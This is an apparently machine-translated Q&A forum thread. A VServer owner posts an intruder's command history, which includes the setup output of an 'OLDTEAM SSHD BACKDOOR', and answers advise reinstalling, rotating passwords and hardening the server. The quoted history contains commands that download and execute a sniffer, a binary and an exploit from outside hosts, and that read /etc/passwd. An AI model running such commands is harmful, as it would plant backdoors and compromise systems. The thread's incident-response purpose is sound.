Знайдено SSH Backdoor на VServer. Що робити?


24

Вчора я перевірив свою історію команд на своєму VServer. Я знайшов кілька підозрілих рядків.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Особливо мене шокувало sniffer.tgz. Я встановив віртуальну машину і завантажив цей архів tgz. Я почав налаштування, і це дало мені наступні рядки:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

Хтось знає, як це видалити?


Відповіді:


66

Це те, що ви повинні зробити для всіх систем, у яких це було sniffer.tgzу вас: Nuke Them From Orbit негайно , і починайте спочатку з чистої установки. (Тобто знищіть систему (-и), перевстановіть чисті, завантажте дані з чистих резервних копій - якщо припустити, що у вас є чисті резервні копії, а потім загартуйте системи (-и), перш ніж повернути їх в Інтернет).

Кожен раз, коли у вас так зловмисне програмне забезпечення або хакери потрапляють у вашу систему, настав час повторно проаналізувати налаштування вашої системи та переконайтеся, що не повторюйте ті самі кроки, з якими вони потрапили. Але, оскільки це може бути не система, у вас є можливість відмовитися і провести криміналістичний аналіз, а оскільки це може бути ваш єдиний сервер, саме час знищити віртуальну систему і почати все з нуля (як я вже говорив вище).

(І це стосується будь-якої такої ситуації, коли ви отримуєте зловмисне програмне забезпечення в системі. Якщо у вас є запасне обладнання для заміни чогось подібного, щоб ви могли ізолювати та провести криміналістичну перевірку порушеної системи, якої зазвичай більшість користувачів не має, у вас немає вибору, але запустити систему і запустити все спочатку.)

Без аналізу вашого сервера я не можу реально сказати, що ви зробили не так, але ймовірно, що цей бекдор є глибше в системі, ніж просто проста програма, яка була встановлена. І, оскільки погані хлопці вже мають встановити backdoor у вашій системі, ви можете припустити, що всі ваші паролі тепер порушені та вже не безпечні (будь то SSH, або MySQL root або будь-який інший тип паролів введено в цю комп’ютерну систему). Час змінити всі ваші паролі!


Опинившись в чистому середовищі, ось кілька основних порад щодо загальнозміцнюючих кроків, які слід розглянути. Зауважте, що оскільки вони значно розширюють тему, я не можу насправді детально розібратися тут, але, безумовно, настав час зробити кілька кроків із посиленням для захисту вашої системи:

  1. Увімкніть брандмауер і дозвольте лише доступ до портів, які потрібно відкрити . ufwіснує просто, тому давайте скористаємося цим. sudo ufw enable. (Налаштування ufwналежним чином для вашого оточення - це інша історія, і це виходить за рамки цього питання.)

  2. Обмежити доступ до віддаленого SSH . Це не завжди можливо, але в ідеалі ви б визначили IP-адреси, якими ви володієте, і конкретно додайте їх у білий брандмауер. (Якщо ви перебуваєте на динамічній IP-адресі, пропустіть цей крок).

  3. Блокуйте доступ SSH до свого сервера та вимагайте використання ключів SSH лише для аутентифікації . Таким чином хакери не можуть атакувати ваш сервер і спробувати і просто вгадати паролі. Набагато складніше відгадати належний приватний ключ (тому що вам доведеться змусити їх усіх), і це допомагає захистити від жорстоких атак.

  4. Якщо ви користуєтесь веб-сайтом, переконайтеся, що заблокували дозволи, щоб люди не могли завантажувати / виконувати речі у вільний час . Це залежить від сайту до сайту, тому я не можу дати тобі більше вказівок (зробити це неможливо).

  5. Крім того, якщо ви працюєте з веб-сайтом, використовуючи Joomla або Wordpress або інше, переконайтеся, що ви підтримуєте оточуюче середовище в актуальному стані та виправлені уразливими можливостями безпеки від постачальників програмного забезпечення .

  6. Де можливо, налаштовуйте, налаштовуйте та використовуйте двофакторні способи аутентифікації (2FA) для речей, з якими ви автентифікуєтесь . Існує багато рішень для аутентифікації другого фактора для різних застосунків, а забезпечення різних додатків таким чином виходить за рамки цієї публікації, тому вам слід зробити дослідження з цього питання, перш ніж вибирати рішення.

  7. Якщо ви абсолютно обов’язково використовуєте паролі у своєму налаштуванні, використовуйте гідний диспетчер паролів (хмарні - це не обов'язково хороший вибір) та використовуйте довгі (25 і більше символів) випадкові, незабутні паролі, які відрізняються для кожного окремого елемента, який зараз є захищені паролями (звідси рекомендація для менеджера паролів). (Однак слід наполегливо розглянути можливість НЕ використовувати паролі, де це можливо (наприклад, для автентифікації SSH), а також використовувати 2FA, де це можливо).


Коментарі не для розширеного обговорення; ця розмова переміщена до чату .
тердон

Я прийняв відповідь, оскільки це я буду робити. Якщо я намагаюся закрити Backdoor у VM, тільки для особистого інтересу.
itkajo

0

Якщо є один задній двер, є ще 3. Ізолюйте, створюйте резервні копії даних, видаляйте їх і ретельно відновлюйте дані. Будьте уважні до будь-яких даних про cron, php чи навіть mysql, усі вони можуть бути порушені. Пам'ятайте, що у них зараз є всі ваші паролі та хеші, тому якщо ви інші машини налаштовані аналогічно, вони, ймовірно, теж зламали їх ... Важка частина полягає в тому, щоб зрозуміти, як вони вступили для початку. Якщо у вас WordPress шукайте зловмисне програмне забезпечення в плагінах / темах тощо ... Перевірте свої дозволи, можливо, у вас є 777 скрізь. Немає простої відповіді, ти шукаєш багато роботи.


Тут необов'язково більше одного, однак часто або ймовірно, що це може бути не так. І вони можуть не мати всіх своїх паролів точно. Також не є "ймовірним", що вони зламали інші машини, ви не знаєте їх намірів і того, що було понюхано, або якщо погана програма була навіть активована поза тим, як вона була присутня або якась програма. А "ретельно відновити дані" - це дуже загальна порада щодо чогось, що вимагає дуже прискіпливих дій.
Джеймс
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.